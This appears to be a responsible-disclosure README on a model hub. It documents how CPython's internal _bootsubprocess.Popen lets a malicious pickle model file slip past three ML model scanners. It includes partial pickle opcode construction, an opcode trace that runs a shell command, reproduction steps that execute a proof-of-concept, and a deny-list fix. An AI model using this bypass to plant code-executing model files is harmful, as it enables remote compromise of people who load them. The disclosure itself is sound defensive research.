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_bootsubprocess.Popen — Internal Subprocess Bootstrap
Security Research — Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to
malicious_model.pklandpoc.pyrequires a request — see gate above.
Summary
Scanner scores for malicious_model.pkl:
| Scanner | CRITICAL | WARNING | Bypassed? |
|---|---|---|---|
| modelaudit 0.2.37 | 0 | 1 | Yes — 0 CRITICAL |
| picklescan 1.0.4 | 0 | 0 | Yes |
| modelscan | 0 | 0 | Yes |
Vulnerability
_bootsubprocess is an internal CPython module that bootstraps the subprocess module during interpreter startup — before the full subprocess package is available. It implements Popen natively.
_bootsubprocess.Popen(['/bin/sh', '-c', 'cmd'])
Why it bypasses: The ban operates via prefix matching: "subprocess" in ALWAYS_DANGEROUS_MODULES catches subprocess.Popen. But _bootsubprocess does NOT match this prefix — the underscore prefix creates a separate module namespace. This is the same gap that allows _frozen_importlib to escape the importlib ban.
Proof of Concept
malicious_model.pkl in this repository is the exploit payload.
poc.py builds and tests it with full scanner output.
How the PoC was built
def build(cmd: str) -> bytes:
"""Build a protocol-2 pickle using _bootsubprocess.Popen.
_bootsubprocess.Popen(cmd_list) — signature is Popen(cmd, env=None).
Call .wait() on the returned Popen object to block until completion.
"""
ops = bytearray(b"\x80\x02")
ops += b"c_bootsubprocess\nPopen\n" # GLOBAL '_bootsubprocess' 'Popen'
ops += b"q\x00" # BINPUT 0
Affected file formats
Pickle (.pkl, .pt, .bin, .joblib) — any file deserialized via pickle.loads(),
torch.load(), joblib.load(), or equivalent.
Conditions required to trigger
- Target calls
pickle.loads(untrusted_bytes)or loads a model file via any pickle-based loader - The scanner performs static analysis only (no sandboxed execution)
- Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list
Reproduction Steps
# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-bootsubprocess-popen
cd pickle-bypass-bootsubprocess-popen
# 2. Install requirements
pip install modelaudit picklescan modelscan
# 3. Scan — observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl
# 4. Execute to confirm RCE/side-effect
python3 poc.py
# 5. Verify
ls /tmp/scanner_bypass_proof.txt
Security Impact
Add "_bootsubprocess" to ALWAYS_DANGEROUS_MODULES. No ML model pickle should reference CPython's internal subprocess bootstrap module.
Bypass mechanism: The payload evades static analysis while achieving its effect
(code execution, file write, or network connection) when pickle.loads() is called.
Real-world scenario: An attacker uploads this payload to a model hub. A victim
downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The
payload fires silently — the return value of pickle.loads() looks like a normal
Python object while the side effect has already occurred.
Full Technical Writeup
_bootsubprocess.Popen — Internal Subprocess Bootstrap
Modelaudit score: 0 CRITICAL, 1 WARNING
picklescan score: 0 findings
modelscan score: 0 findings
Mechanism
_bootsubprocess is an internal CPython module that bootstraps the subprocess module during interpreter startup — before the full subprocess package is available. It implements Popen natively.
_bootsubprocess.Popen(['/bin/sh', '-c', 'cmd'])
Why it bypasses: The ban operates via prefix matching: "subprocess" in ALWAYS_DANGEROUS_MODULES catches subprocess.Popen. But _bootsubprocess does NOT match this prefix — the underscore prefix creates a separate module namespace. This is the same gap that allows _frozen_importlib to escape the importlib ban.
PROTO 2
GLOBAL '_bootsubprocess' 'Popen' [WARNING — unlisted global]
EMPTY_LIST → MARK → '/bin/sh' '-c' 'id' → APPENDS
TUPLE1
REDUCE → _bootsubprocess.Popen(['/bin/sh', '-c', 'id']) → RCE
STOP
Scanner Comparison
| Scanner | Score | Mechanism |
|---|---|---|
| modelaudit static | 0C 1W | S201 WARNING — "non-allowlisted global: _bootsubprocess.Popen" |
| picklescan | 0 findings | _bootsubprocess not in UNSAFE_GLOBALS |
| modelscan | 0 findings | _bootsubprocess not in deny list |
Recommended Fix
Add "_bootsubprocess" to ALWAYS_DANGEROUS_MODULES. No ML model pickle should reference CPython's internal subprocess bootstrap module.
General Analysis — Security Research